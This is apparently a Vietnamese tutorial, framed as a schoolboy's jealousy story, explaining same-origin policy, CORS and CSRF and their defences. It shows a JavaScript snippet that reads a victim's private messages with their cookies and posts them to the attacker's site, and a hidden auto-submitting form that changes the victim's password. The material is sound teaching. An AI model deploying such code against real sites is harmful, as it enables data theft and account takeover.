Bài học nhớ đời về SOP, CORS và CSRF
Ánh nắng cuối thu vàng óng trải dài trên sân trường, len lỏi qua kẽ lá những hàng phượng già. Trong không gian ấy, trái tim non nớt của M, chàng trai mười bảy tuổi, thổn thức vì N, cô bạn cùng lớp với mái tóc đen mượt mà và nụ cười khiến trái tim bao chàng trai rung động.
Rồi một chiều mưa, M bắt gặp N ngồi trong thư viện, đôi má ửng hồng, ngón tay thon thả lướt nhẹ trên màn hình điện thoại. Trái tim M chợt thắt lại khi nhận ra N đang nhắn tin rất vui vẻ với D - chàng trai nổi tiếng nhất khối trên "Hệ thống học tập trực tuyến" của trường (school-learning.edu.vn).
"Chắc chắn họ đang có điều gì đó!" - M nghĩ thầm. Cơn ghen tuông mù quáng bắt đầu gặm nhấm trái tim non nớt của chàng trai.
Đêm ấy, M trằn trọc không yên. Và rồi M quyết định thực hiện một kế hoạch đen tối, đó là đọc trộm tin nhắn của N.
Kế hoạch hoàn hảo... thất bại thảm hại
Biết N nghiện xem phim, M đã thức trắng đêm dựng một trang web xem phim free với giao diện tuyệt đẹp có đủ những bộ phim đang hot mà M biết N rất thích. Rồi M nhét vào đó một đoạn JavaScript:
fetch('https://school-learning.edu.vn/api/private-messages/N', {
method: 'GET',
credentials: 'include' // Gửi cả cookie của N
}).then(response => response.json())
.then(data => {
// Gửi tin nhắn lấy được về server của M
fetch('https://phimhay.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Kế hoạch của M có vẻ hoàn hảo:
- Khi N truy cập vào trang web xem phim của M, đoạn mã JavaScript này sẽ chạy.
- Đoạn mã gửi một request đến server của trường để lấy tin nhắn, kèm theo cookie đăng nhập sẵn có của N. Về lý thuyết, server sẽ xem đây là request hợp lệ từ N.
- Sau khi lấy được dữ liệu, nó gửi toàn bộ tin nhắn về server do M kiểm soát.
Sáng hôm sau, M hồi hộp mời N vào trang web: "Trang này có nhiều phim hay lắm, cậu thử xem đi!"
N mỉm cười cảm ơn và mở trang web. M mỉm cười hài lòng. Nhưng rồi...
Trình duyệt báo lỗi đỏ lòm:
Access to fetch at 'https://school-learning.edu.vn/api/private-messages/N'
from origin 'https://phimhay.com' has been blocked by CORS policy:
No 'Access-Control-Allow-Origin' header is present on the requested resource.
Kế hoạch của M thất bại thảm hại.
Same-Origin Policy (SOP) - Bức tường thành của trình duyệt
Bực tức vì thất bại, M tìm đến K than thở, một đại cao thủ về bảo mật của trường.
K giải thích: "Cái này là do Same-Origin Policy (SOP) đấy. Nó là chính sách bảo mật của trình duyệt, ngăn không các script từ origin này đọc tài nguyên từ origin khác."
"Một origin được xác định bởi 3 thứ:" - K vừa nói vừa vẽ lên bảng:
Scheme (Giao thức) + Domain (Tên miền) + Port (Cổng) = Origin
Ví dụ:
- https://phimhay.com và https://school-learning.edu.vn khác origin vì domain khác nhau
- http://phimhay.com và https://phimhay.com cũng khác origin vì scheme khác nhau
- https://phimhay.com:80 và https://phimhay.com:3000 cũng khác origin vì port khác nhau
"SOP đã ngăn đoạn script từ phimhay.com của mày đọc được phản hồi từ school-learning.edu.vn, dù request đó có được gửi đi và thậm chí server có xử lý đi chăng nữa."
CORS - Cánh cổng có kiểm soát
M thắc mắc: "Vậy làm sao các trang web gọi API từ domain khác được? Ví dụ web của tao muốn lấy dữ liệu phim từ TMDB?"
"À, đó là nhờ CORS - Cross-Origin Resource Sharing!" - K giải thích. "CORS không phải để vượt qua SOP, mà là một cơ chế cho phép server tự nguyện nói với trình duyệt rằng: 'Tôi đồng ý cho origin kia truy cập tài nguyên của mình'."
"Khi trình duyệt thấy script từ phimhay.com gọi API đến school-learning.edu.vn, nó sẽ gửi kèm một header Origin: https://phimhay.com. Server của trường sẽ kiểm tra. Nếu đồng ý, nó phản hồi với header:"
Access-Control-Allow-Origin: https://phimhay.com
Access-Control-Allow-Credentials: true
"Lúc đó, trình duyệt mới cho phép script của mày đọc phản hồi."
"Dĩ nhiên, school-learning.edu.vn
sẽ không bao giờ đặt header đó cho domain của
mày đâu. Còn TMDB thì có, vì họ muốn các ứng dụng bên thứ ba sử dụng API của họ."
CSRF - Cơ hội cuối cùng
M thở dài: "Vậy là bó tay thật sao?"
K mỉm cười: "Đọc dữ liệu thì khó, nhưng thực hiện hành động thì... có thể.
Vì SOP chỉ ngăn đọc response chứ không ngăn việc gửi request đi.
Đây chính là cơ sở cho CSRF - Cross-Site Request Forgery."
"CSRF là gì vậy?" M hỏi.
"Giống như ai đó giả mạo chữ ký của mày để xin nghỉ học ấy. Trang web lợi dụng việc trình duyệt tự động gửi kèm cookie đăng nhập của mày đến một site khác để thực hiện hành động thay mày."
"Ví dụ, nếu hệ thống trường có chức năng đổi mật khẩu đơn giản, chỉ cần POST lên một endpoint là mày có thể đổi mật khẩu, mày có thể tạo một form ẩn như này:"
<!-- Trên web xem phim https://phimhay.com của M -->
<form id="csrfForm" action="https://school-learning.edu.vn/change-password" method="POST" style="display:none">
<input type="password" name="new_password" value="hacked123">
<input type="password" name="confirm_password" value="hacked123">
</form>
<script>
// Tự động submit form khi N truy cập trang
document.getElementById('csrfForm').submit();
</script>
K giải thích tiếp: "Chỉ cần N truy cập trang web của mày, trình duyệt sẽ ngay lập tức gửi request đổi mật khẩu đến server trường học. Vì cookie đăng nhập của N vẫn còn hiệu lực, request này sẽ được xử lý như chính N thực hiện, mà cô ấy không hề hay biết!"
M reo lên: "Hay quá! Vậy là vẫn có cách!"
"Đừng vội!" K ngăn lại, "Các trang web hiện đại đều có cơ chế phòng chống CSRF. Phổ biến nhất là CSRF Token - giống như mã OTP cho mỗi form hoặc request quan trọng."
<!-- Form trên school-learning.edu.vn -->
<form action="https://school-learning.edu.vn/change-password" method="POST">
<input type="password" name="new_password">
<input type="hidden" name="csrf_token" value="a1b2c3d4e5f6_random_string">
</form>
"Server sẽ kiểm tra token này. Web của mày không thể lấy được token thật từ trang web thật của trường (nhờ SOP), nên request giả mạo sẽ thiếu token hợp lệ và bị từ chối ngay."
K giải thích thêm: "Ngoài token, các website còn có những cơ chế bảo vệ khác như:"
- Kiểm tra header Origin và Referer: Server sẽ kiểm tra xem request có thực sự đến từ domain của chính nó không.
- SameSite Cookie: Thuộc tính cookie có thể được đặt là
SameSite=Strict
hoặcSameSite=Lax
để trình duyệt không gửi cookie trong các request chéo site.
"CSRF thời nay gần như bất khả thi trên các web lớn – trừ khi developer... quên đặt token."
Không lâu sau, hệ thống trường học gửi cảnh báo bảo mật về một request bất thường trên tài khoản của N. Buổi chiều hôm ấy, N tìm đến M với ánh mắt nghi ngờ. "Có phải cậu đứng sau trang web xem phim đó không?" - N hỏi thẳng.
M đứng lặng người, mặt tái đi. Cậu không ngờ hệ thống trường học lại phát hiện nhanh đến vậy, dù kế hoạch chưa thành công. Chiếc lá vàng cuối cùng rơi xuống khi N quay lưng bỏ đi, để lại M trong sự im lặng nặng nề.
Bình luận
Gợi ý